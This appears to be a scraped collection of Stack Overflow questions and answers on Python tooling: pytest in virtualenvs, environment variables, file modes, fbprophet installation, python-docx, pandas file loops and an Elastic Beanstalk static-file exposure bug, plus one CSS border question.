There is a bit of a dance to get this to work: 1. activate your venv : `source venv/bin/activate` 2. install pytest : `pip install pytest` 3. re-activate your venv: `deactivate && source venv/bin/activate` The reason is that the path to `pytest` is set by the `source`ing the `activate` file only after `pytest` is actually installed in the `venv`. You can't set the path to something before it is installed. Re-`activate`ing is required for any console entry points installed within your virtual environment.
you have to activate your python env every time you want to run your python script, you have several ways to activate it, we assume that your virtualenv is installed under /home/venv : 1- the based one is to run the python with one command line `>>> /home/venv/bin/python <your python file.py>` 2- add this line on the top of python script file `#! /home/venv/bin/python` and then run `python <you python file.py>` 3- activate your python env `source /home/venv/bin/activate` and then run you script like `python <you python file.py>` 4- use [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/) to manager and activate your python environments
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
Inside your environment, you may try ``` python -m pytest ```
In my case I was obliged to leave the venv (deactivate), remove pytest (pip uninstall pytest), enter the venv (source /my/path/to/venv), and then reinstall pytest (pip install pytest). I don't known exacttly why pip refuse to install pytest in venv (it says it already present). I hope this helps
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
There is a bit of a dance to get this to work: 1. activate your venv : `source venv/bin/activate` 2. install pytest : `pip install pytest` 3. re-activate your venv: `deactivate && source venv/bin/activate` The reason is that the path to `pytest` is set by the `source`ing the `activate` file only after `pytest` is actually installed in the `venv`. You can't set the path to something before it is installed. Re-`activate`ing is required for any console entry points installed within your virtual environment.
In my case I was obliged to leave the venv (deactivate), remove pytest (pip uninstall pytest), enter the venv (source /my/path/to/venv), and then reinstall pytest (pip install pytest). I don't known exacttly why pip refuse to install pytest in venv (it says it already present). I hope this helps
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
There is a bit of a dance to get this to work: 1. activate your venv : `source venv/bin/activate` 2. install pytest : `pip install pytest` 3. re-activate your venv: `deactivate && source venv/bin/activate` The reason is that the path to `pytest` is set by the `source`ing the `activate` file only after `pytest` is actually installed in the `venv`. You can't set the path to something before it is installed. Re-`activate`ing is required for any console entry points installed within your virtual environment.
Inside your environment, you may try ``` python -m pytest ```
14,279,560
> > **Possible Duplicate:** > > [Is it possible to change the Environment of a parent process in python?](https://stackoverflow.com/questions/263005/is-it-possible-to-change-the-environment-of-a-parent-process-in-python) > > > I am using python 2.4.3. I tried to set my http\_proxy variable. Please see the below example and please let me know what is wrong. the variable is set according to python, however when i get out of the interactive mode. The http\_proxy variable is still not set. I have tried it in a script and also tried it with other variables but i get the same result. No variable is actually set up in the OS. ``` Python 2.4.3 (#1, May 1 2012, 13:52:57) Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.environ['http_proxy']="abcd" >>> os.system("echo $http_proxy") abcd 0 >>> print os.environ['http_proxy'] abcd >>> user@host~$ echo $http_proxy user@host~$ ```
2013/01/11
[ "https://Stackoverflow.com/questions/14279560", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1970157/" ]
When you run this code, you set the environment variables, its working scope is only within the process. After you exit (exit the interactive mode of python), these environment will be disappear. As your code "os.system("echo $http\_proxy")" indicates, if you want to use these environment variables, you need run external program within the process. These variables will be transfer into the child processes and can be used by them.
environment variables are not a "global database of settings"; setting the environment here doesn't have any effect there. the exception to this is that programs which invoke other programs can provide a different environment to their child programs. At the shell, when you type ``` [~/]$ FOO=bar baz ``` you're telling the *shell* to invoke the program `baz` with some extra environment `FOO`. You can do this in python, too, but changing `os.environ` will not have any effect. that variable only contains a regular python dict with whatever environment it was started with. You can change the environment python will use by passing an alternate value for `env` to [`subprocess.Popen`](http://docs.python.org/2/library/subprocess#subprocess.Popen)
40,009,858
I have a file called fName.txt in a directory. Running the following Python snippet would add 6 numbers into 3 rows and 2 columns into the text file through executing the loop (containing the snippet) three times. However, I would like to empty the file completely before writing new data into it. (Otherwise running the script for many times would produce more than three rows needed for the simulation which would produce nonsense results; in other words the script needs to *see* only three rows just produced from the simulation). I have come across the following page [how to delete only the contents of file in python](https://stackoverflow.com/questions/17126037/how-to-delete-only-the-content-of-file-in-python) where it explains how to do it but I am not able to implement it into my example. In particular, after `pass` statement, I am not sure of the order of statements given the fact that my file is closed to begin with and that it must be closed again once `print` statement is executed. Each time, I was receiving a different error message which I could not avoid in any case. Here is one sort of error I was receiving which indicated that the content is deleted (mostly likely after print statement): ```none /usr/lib/python3.4/site-packages/numpy/lib/npyio.py:1385: UserWarning: genfromtxt: Empty input file: "output/Images/MW_Size/covering_fractions.txt" warnings.warn('genfromtxt: Empty input file: "%s"' % fname) Traceback (most recent call last): File "Collector2.py", line 81, in <module> LLSs, DLAs = np.genfromtxt(r'output/Images/MW_Size/covering_fractions.txt', comments='#', usecols = (0,1), unpack=True) ValueError: need more than 0 values to unpack ``` This is why I decided to leave the snippet in its simplest form without using any one of those suggestions in that page: ``` covering_fraction_data = "output/Images/MW_Size/covering_fractions.txt" with open(covering_fraction_data, "mode") as fName: print('{:.2e} {:.2e}'.format(lls_number/grid_number, dla_number/grid_number), file=fName) fName.close() ``` Each run of the simulation produces 3 rows that should be printed into the file. When `mode` is `'a'`, the three produced lines are added to the existing file producing a text file that would contain more than three rows because it already included some contents. After changing `'a'` to `'w'`, instead of having 3 rows printed in the text file, there is only 1 row printed; the first two rows are deleted unwantedly. **Workaround:** The only way around to avoid all this is to choose the `'a'` mode and manually delete the contents of the file before running the code. This way, only three rows are produced in the text file after running the code which is what is expected from the output. **Question:** How can I modify the above code to actually do the deletion of the file *automatically* and *before* it is filled with three new rows?
2016/10/12
[ "https://Stackoverflow.com/questions/40009858", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6407935/" ]
You are using 'append' mode (`'a'`) to open your file. When this mode is specified, new text is appended to the existing file content. You're looking for the 'write' mode, that is `open(filename, 'w')`. This will override the file contents every time you **open** it.
Using mode 'w' is able to delete the content of the file and overwrite the file but prevents the loop containing the above snippet from printing two more times to produce two more rows of data. In other words, using 'w' mode is not compatible with the code I have given the fact that it is supposed to print into the file three times (since the loop containing this snippet is executing three times). For this reason, I had to empty the file through the following command line inside the main.py code: ``` os.system("> output/Images/MW_Size/covering_fractions.txt") ``` And only then use the 'a' mode in the code snippet mentioned above. This way the loop is executing AND printing into the empty file three times as expected without deleting the first two rows.
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
To solve this problem, I uninstalled my existing python 3.7 and anaconda. I re-installed anaconda *with one key difference.* I registered Anaconda as my default Python 3.7 during the Anaconda installation. This lets visual studio, PyDev and other programs automatically detect Anaconda as the primary version to use.
I tried to import fbprophet on Python Anaconda, however, I got some errors. This code works for me.. ``` conda install -c conda-forge/label/cf201901 fbprophet ```
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
To solve this problem, I uninstalled my existing python 3.7 and anaconda. I re-installed anaconda *with one key difference.* I registered Anaconda as my default Python 3.7 during the Anaconda installation. This lets visual studio, PyDev and other programs automatically detect Anaconda as the primary version to use.
(Short n Sweet) For Mac users : ------------------------------- 1. pip3 uninstall pystan 2. pip3 install pystan==2.17.1.0 3. pip3 install fbprophet
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
Use: The first step is to remove pystan and cache: ``` pip uninstall fbprophet pystan pip --no-cache-dir install pystan==2.17 #any version pip --no-cache-dir install fbprophet==0.2 #any version conda install Cython --force pip install pystan conda install pystan -c conda-forge conda install -c conda-forge fbprophet ``` It creates a wheel and update the environment necessary for the package. pip install fbprophet creates the similar issue. Be sure that **pystan** is working. ``` import pystan model_code = 'parameters {real y;} model {y ~ normal(0,1);}' model = pystan.StanModel(model_code=model_code) y = model.sampling().extract()['y'] y.mean() # with luck the result will be near 0 ``` Use this link: [Installing PyStan on windows](https://pystan.readthedocs.io/en/latest/windows.html)
(Short n Sweet) For Mac users : ------------------------------- 1. pip3 uninstall pystan 2. pip3 install pystan==2.17.1.0 3. pip3 install fbprophet
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
Use: The first step is to remove pystan and cache: ``` pip uninstall fbprophet pystan pip --no-cache-dir install pystan==2.17 #any version pip --no-cache-dir install fbprophet==0.2 #any version conda install Cython --force pip install pystan conda install pystan -c conda-forge conda install -c conda-forge fbprophet ``` It creates a wheel and update the environment necessary for the package. pip install fbprophet creates the similar issue. Be sure that **pystan** is working. ``` import pystan model_code = 'parameters {real y;} model {y ~ normal(0,1);}' model = pystan.StanModel(model_code=model_code) y = model.sampling().extract()['y'] y.mean() # with luck the result will be near 0 ``` Use this link: [Installing PyStan on windows](https://pystan.readthedocs.io/en/latest/windows.html)
I tried to import fbprophet on Python Anaconda, however, I got some errors. This code works for me.. ``` conda install -c conda-forge/label/cf201901 fbprophet ```
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
I used the following steps to install fbprophet 0.7.1 on windows 10 (2022-03-10): 1. Install anaconda [here](https://www.anaconda.com/products/individual#windows). 2. Install pystan by following this [guide](https://pystan2.readthedocs.io/en/latest/windows.html). The main line I used was `conda install libpython m2w64-toolchain -c msys2`. Then, install pystan using `pip install pystan` 3. Check your installation by running the following in a `python` terminal: ``` >>> import pystan >>> model_code = 'parameters {real y;} model {y ~ normal(0,1);}' >>> model = pystan.StanModel(model_code=model_code) >>> y = model.sampling().extract()['y'] >>> y.mean() # with luck the result will be near 0 ``` 4. If the above works, proceed to install fbprophet with `pip install fbprophet` Hope this works for you!
[![enter image description here](https://i.stack.imgur.com/a1nT5.jpg)](https://i.stack.imgur.com/a1nT5.jpg)If all of the answers did not work lets clone pystan and do not use the above solutions: ``` git clone --recursive https://github.com/stan-dev/pystan.git cd pystan python setup.py install ``` [![enter image description here](https://i.stack.imgur.com/wPL3A.jpg)](https://i.stack.imgur.com/wPL3A.jpg)
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
To solve this problem, I uninstalled my existing python 3.7 and anaconda. I re-installed anaconda *with one key difference.* I registered Anaconda as my default Python 3.7 during the Anaconda installation. This lets visual studio, PyDev and other programs automatically detect Anaconda as the primary version to use.
Reason: The python distribution on Anaconda3 uses an old version of gcc (4.2.x) Please use anaconda prompt as administrator set a new environment for a stan ``` conda create -n stan python=<your_version> numpy cython ``` install pystan and gcc inside the virtual environment. ``` conda activate stan ``` or ``` source activate stan (stan) pip install pystan (stan) pip install gcc ``` verify your gcc version: ``` gcc --version gcc (GCC) 4.8.5 ``` [![enter image description here](https://i.stack.imgur.com/2BfLW.jpg)](https://i.stack.imgur.com/2BfLW.jpg)
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
I used the following steps to install fbprophet 0.7.1 on windows 10 (2022-03-10): 1. Install anaconda [here](https://www.anaconda.com/products/individual#windows). 2. Install pystan by following this [guide](https://pystan2.readthedocs.io/en/latest/windows.html). The main line I used was `conda install libpython m2w64-toolchain -c msys2`. Then, install pystan using `pip install pystan` 3. Check your installation by running the following in a `python` terminal: ``` >>> import pystan >>> model_code = 'parameters {real y;} model {y ~ normal(0,1);}' >>> model = pystan.StanModel(model_code=model_code) >>> y = model.sampling().extract()['y'] >>> y.mean() # with luck the result will be near 0 ``` 4. If the above works, proceed to install fbprophet with `pip install fbprophet` Hope this works for you!
It looks like `fbprophet` renamed to `prophet` on the FB side, so this command worked for me (Windows 10 + VSCode + Python 3.10.2) ``` pip install prophet --no-cache-dir ```
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
I tried to import fbprophet on Python Anaconda, however, I got some errors. This code works for me.. ``` conda install -c conda-forge/label/cf201901 fbprophet ```
[![enter image description here](https://i.stack.imgur.com/a1nT5.jpg)](https://i.stack.imgur.com/a1nT5.jpg)If all of the answers did not work lets clone pystan and do not use the above solutions: ``` git clone --recursive https://github.com/stan-dev/pystan.git cd pystan python setup.py install ``` [![enter image description here](https://i.stack.imgur.com/wPL3A.jpg)](https://i.stack.imgur.com/wPL3A.jpg)
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
Use: The first step is to remove pystan and cache: ``` pip uninstall fbprophet pystan pip --no-cache-dir install pystan==2.17 #any version pip --no-cache-dir install fbprophet==0.2 #any version conda install Cython --force pip install pystan conda install pystan -c conda-forge conda install -c conda-forge fbprophet ``` It creates a wheel and update the environment necessary for the package. pip install fbprophet creates the similar issue. Be sure that **pystan** is working. ``` import pystan model_code = 'parameters {real y;} model {y ~ normal(0,1);}' model = pystan.StanModel(model_code=model_code) y = model.sampling().extract()['y'] y.mean() # with luck the result will be near 0 ``` Use this link: [Installing PyStan on windows](https://pystan.readthedocs.io/en/latest/windows.html)
It looks like `fbprophet` renamed to `prophet` on the FB side, so this command worked for me (Windows 10 + VSCode + Python 3.10.2) ``` pip install prophet --no-cache-dir ```
56,701,359
I cannot install fbprophet or gcc7. I have manually installed a precompiled ephem. ``` Running setup.py install for fbprophet ... error ``` I have tried with python 3.6 and 3.7. I have tried running as administrator and without. My anaconda prompt cannot install anything without throwing errors. I would rather use pip. The problem may be related to pystan. ``` File "d:\python37\lib\site-packages\pystan\api.py", line 13, in <module> import pystan._api # stanc wrapper ImportError: DLL load failed: The specified module could not be found. ``` I am using windows 10.
2019/06/21
[ "https://Stackoverflow.com/questions/56701359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10005867/" ]
I tried to import fbprophet on Python Anaconda, however, I got some errors. This code works for me.. ``` conda install -c conda-forge/label/cf201901 fbprophet ```
(Short n Sweet) For Mac users : ------------------------------- 1. pip3 uninstall pystan 2. pip3 install pystan==2.17.1.0 3. pip3 install fbprophet
31,478,962
So I have an array of numbers, and I want to plot how many times each number occurs in the array. X-axis should be the numbers in the array, and y-axis should be the number of times each number occurs in the array. Is there a way to program this in python? Also I have trouble when I try to import numpy or matplotlib.pyplot, so is there a way I can do this?
2015/07/17
[ "https://Stackoverflow.com/questions/31478962", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5120932/" ]
``` t = [1, 2, 3, 1, 2, 5, 6, 7, 8] #your original list of numbers noDuplicates = list(set(t)) #gets rid of duplicates in your list listOfTuples = [] for number in noDuplicates: count = t.count(number) newTuple = [number, count] listOfTuples.Append(newTuple) ``` This creates a list of tuples where the fist number of the tuple is the number you are trying to count and the second number is the count. this will work for the decimals that my first solution did not because i did not know that you needed it to work with decimals. with this list of tuples you should very easily be able to create your graph.
your best bet would be to create a separate list to keep track of the number of occurrences in your first list where the number you are tracking is the index of the second list. ``` listOfNumbers = [2,3,4,2,6,4,2] listOfOccurrences = range(x) #x-1 is the largest number that should occur in the first list for number in listOfNumbers: listOfOccurances[number] += 1 ``` then if you want to know how many times a number appears in your original list, just use that number as the index for the second list and the value of that spot is the number that you are looking for. then you can make your 2d array where the x axis is your number then you can set the y axis as the number of occurrences.
19,363,736
I've tried using the AWS forums to get help but, oh boy, it's hard to get anything over there. In any case, [the original post](https://forums.aws.amazon.com/thread.jspa?threadID=136256&tstart=0) is still there. Here's the same question. I deployed a Python (Flask) app using Elastic Beanstalk and the Python container. The directory structure is more or less this (simplified to get to the point): ``` [app root] - application.py - requirements.txt /.ebextensions - python-container.config /secrets - keys.py - secret_logic.py /myapp - __init__.py /static - image1.png - some-other-file.js /services - __init__.py - some-app-logic.py ``` I found that any file in my app can be retrieved by browsing as in the following URLs: * <http://myapp-env-blablabla.elasticbeanstalk.com/static/requirements.txt> * <http://myapp-env-blablabla.elasticbeanstalk.com/static/secrets/keys.py> * <http://myapp-env-blablabla.elasticbeanstalk.com/static/myapp/services/some-app-logic.py> * etc I poked around and found that this is caused by this config in the file **/etc/httpd/conf.d/wsgi.conf**: ``` Alias /static /opt/python/current/app/ <Directory /opt/python/current/app/> Order allow,deny Allow from all </Directory> ``` Basically this allows read access to my entire app (deployed at **/opt/python/current/app/**) through the **/static** virtual path. At this point someone might suggest that it's a simple matter of overriding the default Python container **staticFiles** option (what a terrible default value, by the way) using a .config ebextension file. Well, if you look at my directory structure, you'll see **python-container.config**, which has: ``` "aws:elasticbeanstalk:container:python:staticfiles": "/static/": "app/myapp/static/" ``` But this file is completely ignored when the Apache configuration files are generated. To (I think) prove that, look at the AWS EB scripts at these files (just the important lines): **/opt/elasticbeanstalk/hooks/configdeploy/pre/01generate.py**: ```py configuration = config.SimplifiedConfigLoader().load_config() config.generate_apache_config( configuration, os.path.join(config.ON_DECK_DIR, 'wsgi.conf')) ``` **/opt/elasticbeanstalk/hooks/appdeploy/pre/04configen.py**: ```py configuration = config.SimplifiedConfigLoader().load_config() config.generate_apache_config( configuration, os.path.join(config.ON_DECK_DIR, 'wsgi.conf')) ``` **/opt/elasticbeanstalk/hooks/config.py**: ```py def _generate_static_file_config(mapping): contents = [] for key, value in mapping.items(): contents.append('Alias %s %s' % (key, os.path.join(APP_DIR, value))) contents.append('<Directory %s>' % os.path.join(APP_DIR, value)) contents.append('Order allow,deny') contents.append('Allow from all') contents.append('</Directory>') contents.append('') return '\n'.join(contents) class SimplifiedConfigLoader(ContainerConfigLoader): def load_config(self): parsed = json.loads("path/to/containerconfiguration") python_section = parsed['python'] converted = {} #..snip... static_files = {} for keyval in python_section['static_files']: key, value = keyval.split('=', 1) static_files[key] = value converted['static_files'] = static_files #... return converted ``` **/opt/elasticbeanstalk/deploy/configuration/containerconfiguration**: ``` { "python": { //... "static_files": [ "/static=" ], //... } ``` I apologize for dumping so much code, but the gist of it is that when `_generate_static_file_config` is called to produce that part of *wsgi.config*, it never uses any of the values specified in those ebextension config files. `SimplifiedConfigLoader` only uses the fixed file *containerconfiguration*, which has the evil default value for the */static* mapping. I hope I'm missing something because I can't find a way to prevent this without resorting to a custom AMI.
2013/10/14
[ "https://Stackoverflow.com/questions/19363736", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21420/" ]
I ended up opening a paid case with AWS support and they confirmed it was a bug in the Python container code. As a result of this problem, they have just released (10/25/2013) a new version of the container and any new environments will contain the fix. To fix any of your existing environments... well, you can't. You'll have to create a new environment from the ground up (don't even use saved configurations) and then switch over from the old one. Hope this helps the next poor soul. **Update 2017-01-10**: Back when I answered it wasn't possible to upgrade the container to newer versions. Since then AWS added that feature. You can even let it auto-update with the *Managed Platform Updates* feature.
You can also change the value of the said `/static` alias via the configuration console on your Elastic Beanstalk environment. Under the "Static Files" section, map the virtual path */static* to point to your directory *app/myapp/static/*
49,911,864
I am trying to convert a 16 bit 3-band RGB GeoTIFF file into an 8 bit 3-band JPEG file. It seems like the `gdal` library should work well for this. **My question is how do I specify the conversion to 8-bit output in the python gdal API, and how do I scale the values in that conversion? Also, how do I check to tell whether the output is 8-bit or 16-bit?** The `gdal.Translate()` function should serve the purpose. However, the only example that I found which will rescale the values to 8 bit involves the C interface. The two posts below provide examples of this, but again they do not suit my purpose because they are not using the Python interface. <https://gis.stackexchange.com/questions/26249/how-to-convert-qgis-generated-tiff-images-into-jpg-jpeg-using-gdal-command-line/26252> <https://gis.stackexchange.com/questions/206537/geotiff-to-16-bit-tiff-png-or-bmp-image-for-heightmap/206786> The python code that I came up with is: ``` from osgeo import gdal gdal.Translate(destName='test.jpg', srcDS='test.tif') ``` This will work, but I don't think the output is coverted to 8-bit or that the values are rescaled. Does anyone know how to apply those specific settings? Note that this post below is very similar, but uses the `PIL` package. However the problem is that apparently `PIL` has trouble ingesting 16 bit images. When I tried this code I got errors about reading the data. Hence, I could not use this solution. [converting tiff to jpeg in python](https://stackoverflow.com/questions/28870504/converting-tiff-to-jpeg-in-python)
2018/04/19
[ "https://Stackoverflow.com/questions/49911864", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1610428/" ]
You could use **options** like this ``` from osgeo import gdal scale = '-scale min_val max_val' options_list = [ '-ot Byte', '-of JPEG', scale ] options_string = " ".join(options_list) gdal.Translate('test.jpg', 'test.tif', options=options_string) ``` Choose the min and max values you find suitable for your image as `min_val` and `max_val` If you like to expand scaling to the entire range, you can simply skip min and max value and just use `scale = '-scale'`
I think the gdal way is to use [`gdal.TranslateOptions()`](http://gdal.org/python/osgeo.gdal-module.html#TranslateOptions). ``` from osgeo import gdal translate_options = gdal.TranslateOptions(format='JPEG', outputType=gdal.GDT_Byte, scaleParams=[''], # scaleParams=[min_val, max_val], ) gdal.Translate(destName='test.jpg', srcDS='test.tif', options=translate_options) ```
57,189,055
I transferred some code from IDLE 3.5 (64 bits) to pycharm (Python 2.7). Most of the code is still working, for example I can import WD\_LINE\_SPACING from docx.enum.text, but for some reason I can't import WD\_ALIGN\_PARAGRAPH. At first, nearly non of the imports worked, but after I did pip install python-docx instead of pip install docx most of the imports worked except for WD\_ALIGN\_PARAGRAPH. ``` # works from __future__ import print_function import xlrd import xlwt import os import subprocess from calendar import monthrange import datetime from docx import Document from datetime import datetime from datetime import date from docx.enum.text import WD_LINE_SPACING from docx.shared import Pt # does not work from docx.enum.text import WD_ALIGN_PARAGRAPH ``` I don't get any error messages but Pycharm marks the line as error: "Cannot find reference 'WD\_ALIGN\_PARAGRAPH' in 'text.py'".
2019/07/24
[ "https://Stackoverflow.com/questions/57189055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9434244/" ]
You can use this instead: ```py from docx.enum.text import WD_PARAGRAPH_ALIGNMENT ``` and then substitute `WD_PARAGRAPH_ALIGNMENT` wherever `WD_ALIGN_PARAGRAPH` would have appeared before. The reason this is happening is that the actual enum object is named `WD_PARAGRAPH_ALIGNMENT`, and a decorator is applied that also allows it to be referenced as `WD_ALIGN_PARAGRAPH` (which is a little shorter, and possibly clearer). I expect the syntax checker in PyCharm is operating on direct module attributes and doesn't pick up the alias, which is resolved by the Python parser/compiler. Interestingly, I expect your code would work fine either way. But to get rid of the annoying message you can use the base name.
If someone uses pylint it can be easily suppressed with `# pylint: disable=E0611` added at the end of the import line.
55,648,849
I have a problem with a loop in Python. My folder looks like this: ``` |folder_initial |--data_loop |--example1 |--example2 |--example3 |--python_jupyter_notebook ``` I would like to loop through all files in data\_loop, open them, run a simple operation, save them with another name and then do the same with the subsequent file. I have created the following code: ``` import pandas as pd import numpy as np import os def scan_folder(parent): # iterate over all the files in directory 'parent' for file_name in os.listdir(parent): if file_name.endswith(".csv"): print(file_name) df = pd.read_csv("RMB_IT.csv", low_memory=False, header=None, names=['column1','column2','column3','column4'] df = df[['column2','column4'] #Substitute ND with missing data df = df.replace('ND,1',np.nan) df = df.replace('ND,2',np.nan) df = df.replace('ND,3',np.nan) df = df.replace('ND,4',np.nan) df = df.replace('ND,5',np.nan) df = df.replace('ND,6',np.nan) else: current_path = "".join((parent, "/", file_name)) if os.path.isdir(current_path): # if we're checking a sub-directory, recall this method scan_folder(current_path) scan_folder("./data_loop") # Insert parent direcotry's path ``` I get the error: ``` FileNotFoundError FileNotFoundError: File b'example2.csv' does not exist ``` Moreover, I would like to run the code without the necessity of having the Jupyter notebook in the folder folder\_initial but I would like to have something like this: ``` |scripts |--Jupiter Notebook |data |---csv files |--example1.csv |--example2.csv ``` Any idea? -- Edit: I create something like this on user suggestion ``` import os import glob os.chdir('C:/Users/bedinan/Documents/python_scripts_v02/data_loop') for file in list(glob.glob('*.csv')): df = pd.read_csv(file, low_memory=False, header=None, names=[ df = df[[ #Substitute ND with missing data df = df.replace('ND,1',np.nan) df = df.replace('ND,2',np.nan) df = df.replace('ND,3',np.nan) df = df.replace('ND,4',np.nan) df = df.replace('ND,5',np.nan) df = df.replace('ND,6',np.nan) df.to_pickle(file+"_v02"+".pkl") f = pd.read_pickle('folder\\data_loop\\RMB_PT.csv_v02.pkl') ``` But the name of the file that results is not properly composed since it has inside the name the extension -csv
2019/04/12
[ "https://Stackoverflow.com/questions/55648849", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11335403/" ]
let try `margin:0 1px` for `.header` div
This code can fixed your problem but make sure that border width will be 1px fixed, if you want to change border-width you can remove border-width:thin to border:2px solid red; and so on. ``` .border { margin-bottom: 20px; border-radius: 3px; border: 1px #d43f3a solid; border-width: thin; } ```
